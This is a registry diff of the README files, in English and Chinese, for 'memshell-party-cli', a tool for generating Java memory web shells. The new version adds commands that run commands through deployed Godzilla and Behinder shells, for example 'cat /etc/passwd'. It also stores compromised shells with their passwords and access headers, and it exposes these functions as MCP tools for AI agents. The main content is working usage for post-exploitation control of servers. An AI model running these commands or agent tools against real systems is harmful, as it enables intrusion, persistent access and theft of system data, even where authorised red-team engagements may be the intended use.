memshell-party-cli 0.2.1 → 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +69 -1
- package/README.zh-CN.md +69 -1
- package/dist/cli.js +1221 -29
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +160 -1
- package/dist/index.js +961 -206
- package/dist/index.js.map +1 -1
- package/package.json +1 -1
- package/skills/SKILL.md +62 -2
package/README.md
CHANGED
|
@@ -18,6 +18,12 @@ same HTTP API that powers `party.mem.mk/ui`.
|
|
|
18
18
|
- **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
|
|
19
19
|
- **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
|
|
20
20
|
is alive and the credentials work (echo/handshake round-trip).
|
|
21
|
+
- **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
|
|
22
|
+
and prints its output (real `execCommand` / `Cmd` payload round-trip).
|
|
23
|
+
- **Named targets** — `memparty target save` stores shells in projects (with remark + category),
|
|
24
|
+
then `memparty exec hw222/bh9060 --cmd "whoami"` needs no flags at all.
|
|
25
|
+
- **Operation log** — every gen/probe/connect/exec/target operation is appended to
|
|
26
|
+
`~/.memparty/operations.jsonl`; `memparty log` queries it by category and target.
|
|
21
27
|
- **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
|
|
22
28
|
- **Any backend** — defaults to the public site, override to your self-hosted instance.
|
|
23
29
|
|
|
@@ -134,6 +140,67 @@ memparty connect -u http://target/x -t godzilla --pass pass --key key \
|
|
|
134
140
|
Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
|
|
135
141
|
`--json` for machine-readable output, `--timeout <ms>` (global option).
|
|
136
142
|
|
|
143
|
+
### Executing commands on a deployed shell
|
|
144
|
+
|
|
145
|
+
`memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
|
|
146
|
+
remote stdout+stderr. It uses the tool's real protocol — Godzilla's `execCommand` payload method
|
|
147
|
+
(argv passed as `arg-0..N`, wrapped in `cmd.exe /c` or `/bin/sh -c`) and Behinder's `Cmd` payload
|
|
148
|
+
class (which picks the shell itself based on the remote `os.name`).
|
|
149
|
+
|
|
150
|
+
```bash
|
|
151
|
+
# Godzilla — auto-detects the remote OS via getBasicsInfo (one extra request);
|
|
152
|
+
# pass --os windows|linux to skip the detection
|
|
153
|
+
memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
|
|
154
|
+
|
|
155
|
+
# Behinder — the payload detects the OS itself, no extra request
|
|
156
|
+
memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
The gate-header flags are the same as for `connect`; `--json` returns
|
|
160
|
+
`{ ok, tool, url, command, output, durationMs }` for automation.
|
|
161
|
+
|
|
162
|
+
### Saved targets (projects)
|
|
163
|
+
|
|
164
|
+
Save a shell once, then reference it by name — no more flag soup. Shells live inside
|
|
165
|
+
**projects**: a project groups several shells of one engagement and carries an optional
|
|
166
|
+
`--remark` and `--category`. The store is `~/.memparty/targets.json`.
|
|
167
|
+
|
|
168
|
+
```bash
|
|
169
|
+
# save (project is created on the fly; --remark/--category are project-level,
|
|
170
|
+
# --shell-remark describes this one shell)
|
|
171
|
+
memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
|
|
172
|
+
-t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \
|
|
173
|
+
--remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
|
|
174
|
+
|
|
175
|
+
# list everything (filter with --category <name>)
|
|
176
|
+
memparty target list
|
|
177
|
+
|
|
178
|
+
# use: <project>/<shell>, or a bare project name when it holds exactly one shell
|
|
179
|
+
memparty connect hw222/bh9060
|
|
180
|
+
memparty exec hw222 --cmd "whoami"
|
|
181
|
+
|
|
182
|
+
# edit project meta or a shell's remark / clean up
|
|
183
|
+
memparty target note hw222 --remark "new remark" --category prod
|
|
184
|
+
memparty target note hw222/bh9060 --remark "new shell note"
|
|
185
|
+
memparty target remove hw222/bh9060 # one shell
|
|
186
|
+
memparty target remove hw222 # the whole project
|
|
187
|
+
```
|
|
188
|
+
|
|
189
|
+
Explicit flags still override stored values (`memparty exec hw222 --cmd id --pass otherpass`).
|
|
190
|
+
|
|
191
|
+
### Operation log
|
|
192
|
+
|
|
193
|
+
Every operation (gen, probe, connect, exec, target save/note/remove) is appended as one JSON
|
|
194
|
+
line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the command
|
|
195
|
+
plus truncated output. Credentials and payload bytes are never logged.
|
|
196
|
+
|
|
197
|
+
```bash
|
|
198
|
+
memparty log # latest 50 operations, newest first
|
|
199
|
+
memparty log --category exec # only command executions
|
|
200
|
+
memparty log --target hw222 # everything against one project (or a host substring)
|
|
201
|
+
memparty log --category connect --json
|
|
202
|
+
```
|
|
203
|
+
|
|
137
204
|
## Demos
|
|
138
205
|
|
|
139
206
|
End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
|
|
@@ -246,7 +313,8 @@ Example Claude Code / Claude Desktop config:
|
|
|
246
313
|
```
|
|
247
314
|
|
|
248
315
|
Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
|
|
249
|
-
`generate_memshell`, `generate_probe`, `parse_classname`, `server_version
|
|
316
|
+
`generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
|
|
317
|
+
`exec_command`, `target_save`, `target_note`, `target_list`, `target_remove`, `log_list`.
|
|
250
318
|
|
|
251
319
|
## AI skill (Claude Code)
|
|
252
320
|
|
package/README.zh-CN.md
CHANGED
|
@@ -16,6 +16,12 @@
|
|
|
16
16
|
- **覆盖全部端点** —— 内存马生成、探测马生成、配置查询、类名解析、版本查询。
|
|
17
17
|
- **连接测试** —— `memparty connect` 验证已部署的 哥斯拉 / 冰蝎 / suo5 马是否存活、
|
|
18
18
|
凭证是否正确(回显 / 握手双向校验)。
|
|
19
|
+
- **命令执行** —— `memparty exec` 在已部署的哥斯拉 / 冰蝎马上执行命令并回显输出
|
|
20
|
+
(真实 `execCommand` / `Cmd` payload 往返)。
|
|
21
|
+
- **命名目标** —— `memparty target save` 把 shell 存进项目(支持备注 + 分类),之后
|
|
22
|
+
`memparty exec hw222/bh9060 --cmd "whoami"` 一个名字就够。
|
|
23
|
+
- **操作日志** —— 每次 gen/probe/connect/exec/target 操作都追加到
|
|
24
|
+
`~/.memparty/operations.jsonl`,`memparty log` 按分类和目标查询。
|
|
19
25
|
- **灵活的输出** —— payload 默认输出到 stdout,`-o file` 写文件(`.class`/`.jar` 自动
|
|
20
26
|
base64 解码)。
|
|
21
27
|
- **任意后端** —— 默认使用公共站点,可切换为自建实例。
|
|
@@ -132,6 +138,67 @@ memparty connect -u http://target/x -t godzilla --pass pass --key key \
|
|
|
132
138
|
其他参数:`-H "Name: value"` 添加自定义请求头,`-k/--insecure` 跳过自签名 TLS 校验,
|
|
133
139
|
`--json` 机器可读输出,`--timeout <ms>`(全局选项)。
|
|
134
140
|
|
|
141
|
+
### 在已部署的马上执行命令
|
|
142
|
+
|
|
143
|
+
`memparty exec` 通过已部署的哥斯拉 / 冰蝎 shell 执行命令,并打印远端 stdout+stderr。
|
|
144
|
+
走的是真实协议 —— 哥斯拉调用 payload 的 `execCommand` 方法(argv 以 `arg-0..N` 传递,
|
|
145
|
+
外面包 `cmd.exe /c` 或 `/bin/sh -c`);冰蝎上传 `Cmd` payload 类(它自己根据远端
|
|
146
|
+
`os.name` 选择 shell)。
|
|
147
|
+
|
|
148
|
+
```bash
|
|
149
|
+
# 哥斯拉 —— 默认先调 getBasicsInfo 自动探测远端系统(多一次请求);
|
|
150
|
+
# 传 --os windows|linux 可跳过探测
|
|
151
|
+
memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
|
|
152
|
+
|
|
153
|
+
# 冰蝎 —— payload 自己探测系统,无额外请求
|
|
154
|
+
memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
门禁头参数与 `connect` 相同;`--json` 返回 `{ ok, tool, url, command, output, durationMs }`,
|
|
158
|
+
方便脚本与 agent 使用。
|
|
159
|
+
|
|
160
|
+
### 命名目标(项目)
|
|
161
|
+
|
|
162
|
+
保存一次,之后用名字引用 —— 不用再抄一串参数。shell 存放在**项目**里:一个项目
|
|
163
|
+
归组同一次任务的多台 shell,并可带 `--remark` 备注和 `--category` 分类。
|
|
164
|
+
存储文件为 `~/.memparty/targets.json`。
|
|
165
|
+
|
|
166
|
+
```bash
|
|
167
|
+
# 保存(项目自动创建;--remark/--category 是项目级属性,
|
|
168
|
+
# --shell-remark 是这台 shell 自己的备注)
|
|
169
|
+
memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
|
|
170
|
+
-t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \
|
|
171
|
+
--remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
|
|
172
|
+
|
|
173
|
+
# 列出全部(可按 --category <名称> 过滤)
|
|
174
|
+
memparty target list
|
|
175
|
+
|
|
176
|
+
# 使用:<项目>/<shell>;项目里只有一个 shell 时光写项目名也行
|
|
177
|
+
memparty connect hw222/bh9060
|
|
178
|
+
memparty exec hw222 --cmd "whoami"
|
|
179
|
+
|
|
180
|
+
# 改项目备注 / 改某台 shell 的备注 / 清理
|
|
181
|
+
memparty target note hw222 --remark "新备注" --category prod
|
|
182
|
+
memparty target note hw222/bh9060 --remark "新的 shell 备注"
|
|
183
|
+
memparty target remove hw222/bh9060 # 删单个 shell
|
|
184
|
+
memparty target remove hw222 # 删整个项目
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
显式参数仍会覆盖已存值(如 `memparty exec hw222 --cmd id --pass 其他密码`)。
|
|
188
|
+
|
|
189
|
+
### 操作日志
|
|
190
|
+
|
|
191
|
+
每次操作(gen、probe、connect、exec、target save/note/remove)都以一行 JSON 追加到
|
|
192
|
+
`~/.memparty/operations.jsonl` —— 记录目标、结果、耗时,exec 还记录命令和截断后的输出。
|
|
193
|
+
凭证和 payload 内容不会写入日志。
|
|
194
|
+
|
|
195
|
+
```bash
|
|
196
|
+
memparty log # 最近 50 条,新的在前
|
|
197
|
+
memparty log --category exec # 只看命令执行
|
|
198
|
+
memparty log --target hw222 # 某个项目(或主机名子串)的全部操作
|
|
199
|
+
memparty log --category connect --json
|
|
200
|
+
```
|
|
201
|
+
|
|
135
202
|
## 示例
|
|
136
203
|
|
|
137
204
|
端到端配方。**打包器**按投递途径选择,**shell 类型**按目标选择(Tomcat 10+ /
|
|
@@ -243,7 +310,8 @@ Claude Code / Claude Desktop 配置示例:
|
|
|
243
310
|
```
|
|
244
311
|
|
|
245
312
|
暴露的工具:`list_servers`、`list_config`、`list_packers`、`list_command_configs`、
|
|
246
|
-
`generate_memshell`、`generate_probe`、`parse_classname`、`server_version
|
|
313
|
+
`generate_memshell`、`generate_probe`、`parse_classname`、`server_version`、`connect_test`、
|
|
314
|
+
`exec_command`、`target_save`、`target_note`、`target_list`、`target_remove`、`log_list`。
|
|
247
315
|
|
|
248
316
|
## AI 技能(Claude Code)
|
|
249
317
|
|